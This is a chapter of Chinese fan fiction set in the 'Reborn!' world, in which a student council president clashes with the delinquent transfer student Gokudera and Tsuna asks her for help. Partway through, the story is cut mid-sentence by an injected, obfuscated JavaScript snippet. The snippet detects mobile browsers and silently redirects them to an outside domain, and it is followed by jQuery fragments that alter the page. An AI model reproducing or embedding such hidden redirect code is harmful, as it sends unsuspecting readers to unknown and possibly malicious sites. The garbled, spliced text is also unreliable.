这天发生的事情实在是太多了,多到芍药和纲吉每每回想起来,都会感到十分心累。
一大早,芍药在街角刚和看上去不知道为什么有些鬼鬼祟祟的小春打完招呼,迎面又遇见同样去上学的京子。京子亲昵地挽住她的胳膊,满脸好奇地问,“芍药,听说今天有转学生要来我们班?”
“好像是有这么回事...”芍药的手指在裙缝边不停敲动,她在记忆角落翻阅几天前刚看过的转校生档案,“名字...似乎是炼狱...不对,狱寺,是个男生。”
“欸,真的吗?会是什么样的人呢?好期待呀!”京子脸上露出对未知新同学特有的期待笑容。
“谁知道呢,只要不是违反校规的人就好啦。”芍药对此却不报有太大兴趣。不过今天是转校生报道的第一天,她得去教师办公室把新学生的文件归档才行。
到学校做完一切后,芍药在校长办公室门口看见了那个新同学,不,应该说是那个曾经见过一面的新同学,原来正是上次在便利店门口给猫喂食的好少年。她正想打个招呼,下一秒就看到眼前人刚甩上校长室的门,把资料往腋下随意一夹,抬手便旁若无人地在嘴里叼了根烟。
“狱寺君,学校里不准抽烟。”芍药面色不悦地走到他面前,“就算是没点的烟、烟的道具也不行。”
“啊,是你啊。”狱寺“啧”了一声,眼神虽然凶恶,但动作还是很老实地把烟塞回口袋。他的目光游移到芍药的右肩,“学生会主席,还挺麻烦的。”
“你最好能一直都这么想。”
芍药觉得她的头已经开始隐隐作痛起来。但作为学生会长,再怎么问题的学生都不能打倒她。一边朝着教室走的时候,她一边为新同学狱寺介绍着校内的设施,试图感化他这个不良少年的内心。
狱寺却一直心不在焉的,仿佛对这一切都漠不关心,这所学校对他来说只是个临时的落脚点。他出众的混血外表在走廊里引来好几道好奇探究的目光,在窃窃私语中,他不耐烦地“切”了一声,冰冷的目光在人群中扫视一眼后,就自顾自地加速向前走去。
“等等,狱寺!教室在那边!”
芍药眼睁睁看着他朝着与教室完全相反的方向离去,无奈叹气。她可没功夫和他玩藏猫猫的游戏,反正教室的牌子那么明显,总不至于找不到吧?
抱着这种想法,她毫无负担地回到班级。没想到一进门,人声就立刻涌上来。
“西宫同学,新同学人怎么样啊?”
“西宫,听说那个人的头发是银色的,难道是混血吗?”
消息传得飞快,明明很多人刚来教室时连今天会有转学生这件事都不太清楚,可是现在,好像每个人对转学生都有了一个模糊的印象。
“马上不就知道了?”芍药对这个场面非常困惑。幸好还没等她坐稳,京子就替她解答这个问题。
“今天早上,有几个人看到你和转校生走在一起,所以在班级里乱传消息。”她凑近芍药的耳朵,小声道,“那群无聊的男生。”
“哈?这么做对他们有什么意义吗?”芍药十分无语。可惜他们还没有开始造谣,她也不能把乱说话写进“并盛中学十大不能做之事”的第28条。
“切,他们就是看某人最近风头正盛,想找事打击他一下呗。”花也凑过来,目光隐晦地看了看身后。
“什么人?”芍药更疑惑了,她学着花的样子望向侧后方,一眼就撞上此时正郁闷地盯着她、似乎很不高兴的纲吉的目光。只不过在视线相接的那一刻,他就慌忙扭脸看向空荡荡的桌面,似乎上面有什么很有意思的东西。
芍药忽然觉得她好像发现了盲点,就在她张嘴想要说些什么时,上课铃骤然响起。从门外走进来的,除了班主任,还有皱着眉头、一脸不耐烦的狱寺。
几乎在看清那张异域面孔的瞬间,教室里响起一片压抑的吸气声。女生们忍不住窃窃私语,从单纯的惊叹到猜测他混血的来源。班主任适时开口,解答疑问,
“这位是曾在意大利留学归来的狱寺隼人同学,大家之后要好好相处。”
好好相处...?
芍药的神经更疼了。狱寺那一副好像别人欠他钱的表情至始至终都没有改变,真的可以好好相处吗?
虽然姑且知道他应该...可能...不是个坏人,但凭他这副样子和从外国带回来的陋习,谁又能相信呢?
狱寺的位置被老师安排在最后一排。他迈着步子走过去时,脸色肉眼可见地愈发阴沉,就像是战争爆发的前兆。芍药瞬间警铃大作,目光不由自主地死死盯着他。
然后,就像是猜想成真。他经过纲吉身旁时,忽然停住脚步,抬起腿一脚踢翻纲吉的课桌!
什么?她没出现幻觉吧!
芍药瞪大双眼。这个举动,除非是狱寺脚抽筋,否则居然敢在她面前演这种校园霸凌的把戏,真是不知天高地厚的家伙!
狱寺原本凶狠的脸庞,也在背后那股强烈杀气的笼罩下凝固一瞬。当他察觉到是芍药在蹬他时,他不耐烦地“啧”了一声,双手插兜,懒散地回到座位上。
“同学们,我们要上课了。”讲台上的班主任擦了擦额上的冷汗,声音有些颤抖地翻开课本,努力维持秩序。
芍药烦躁地蹙起眉头。原本在她和云雀的联手整治下,已经很少有明面上的校园霸凌,高三那几个刺头也收敛不少。
可这个新来的狱寺同学,可能是从意大利带来的坏毛病,对着同学还浑身带刺、随意挑衅。更恼火的是,这家伙第一个下手的,竟然是她反霸凌联盟的会长!这分明是在公开宣战!
她的眼神瞬间冰冷下来,看来是必须得给他点颜色瞧瞧。
...
可没想到下课铃刚响,还没等老师宣布,狱寺便一个人拉开教室后门,自顾自地走出去,转眼消失在门外走廊。芍药较高的道德底线做不到如此出格的举动,所以一整个上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952242|174951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
午,她只能眼睁睁看着那个空座位发愁。
午休时,她对狱寺那副目中无人的样子耿耿于怀到极点。纲吉在旁边叫她好几声,她才反应过来。
“芍药,芍药?”纲吉的声音带着困惑,“你在想什么呢,这么出神?”
“我在想那个转校生狱寺。”芍药郁闷地捧着脸,脱口而出。
“欸!”纲吉瞪大眼睛,显然是被这回答搞得措手不及,连忙高声追问,“你,你想他干什么!”
“当然是他那个性。”那样锋芒毕露、那样麻烦透顶。芍药把后半截略带个人喜好的评价咽回肚子,只化作一声沉重的叹息。
但这样的欲言又止让纲吉更加焦灼起来。他不知脑补了些什么,脸色白了白,随即强行挺直腰板,摆出一副语重心长的模样,“那样的个性一点都不好啦,而且还搞校园霸凌(重声),就算长得再帅也不行吧!”
芍药奇怪地瞥了他一眼,不知道他现在激动个什么劲,“这不是明摆着的吗?所以我才烦,一直找不到机会教训他一下。”
“哦,这样啊...是该这样。”纲吉紧绷的身体瞬间放松,长长吁了口气,脸上堆起尴尬的笑容。他忽然意识到自己身上的另一个头衔,于是继续开口道,“下午我和你一起去吧。”
“你下午不是还有排球大赛吗?”芍药诧异地看了纲吉一眼,在眼神的短暂交汇后,她无奈地抿起嘴,已经明白了一切。“你该不会,是想逃跑吧。”
“噫!小点声!”纲吉赶紧摆手,但没有立刻否认,反而视线慌张地朝身后瞄去。芍药顺着他的目光一看,原来是山本和几个男同学正朝这边走来。
“哟,阿纲!芍药!”山本笑容爽朗,右手重重拍在纲吉肩上,“今天下午就拜托你了,阿纲!最近你真的很厉害,我很看好你,想再次见识你从逆境中爆发出的能量呢。”
“是,是嘛?嘿嘿...”纲吉的脸瞬间红透,很快就在一声声赞美中迷失方向,全然没有之前那副扭扭捏捏的样子。
但芍药明白这只是假象。果然,等两人走到通往学生会的那个僻静的楼梯拐角,四下无人时,纲吉立刻原形毕露,死死攥住她的袖口。
“芍药,救救我!”
“实在不行就不要答应啊。”芍药无语凝噎,“话说,究竟是谁给你报的名?而且四个选手同时吃披萨食物中毒请病假?这也太巧了吧!”
她得知这个消息时都有些恍惚,第一次有编写《并盛健康饮食指南》的冲动。
“其实吧...”纲吉眼神闪烁,欲言又止,似乎对接下来想说的话充满为难。而就在这一谈话的空档,芍药眼角余光不经意间扫过楼梯下方的走廊,看见了狱寺那显眼的银发。
终于被她逮到!
芍药脑子“嗡”的一声,身体比思考更快一步行动,不管不顾地朝着楼梯下方的目标冲过去。
“等等,芍药——!啊!那是男厕所啊!”纲吉在身后叫得惨烈。